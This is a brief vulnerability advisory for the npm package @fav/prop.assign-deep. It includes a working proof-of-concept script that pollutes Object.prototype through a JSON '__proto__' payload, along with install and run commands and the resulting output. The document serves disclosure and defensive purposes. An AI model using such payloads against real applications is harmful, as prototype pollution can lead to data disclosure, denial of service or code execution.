vulnerability prototype pollution
severity 6.5
language javascript
registry npm


@fav/prop.assign-deep is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var assignDeep = require('@fav/prop.assign-deep');

console.log("Before", {}.status)
assignDeep({}, JSON.parse('{ "__proto__" : { "status" : "polluted!" } }'));
console.log("After:", status);
  1. Execute the following commands in the terminal:
npm i @fav/prop.assign-deep # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: polluted!


Prototype Pollution leads to Information Disclosure/DoS/RCE